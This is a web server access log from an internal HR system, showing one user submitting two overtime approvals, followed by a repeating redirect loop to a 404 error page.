192.168.12.66 - - [05/Sep/2025:19:52:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 1145541 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 1145541
192.168.12.66 - - [05/Sep/2025:19:52:40 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:40 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131092%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131092&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131092%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131092&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:52:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:52:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:53:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:53:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:53:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 1065426 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:53:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 1065426
192.168.12.66 - - [05/Sep/2025:19:53:55 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:53:55 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:54:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131093%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131093&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:54:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131093%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131093&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:54:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:54:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
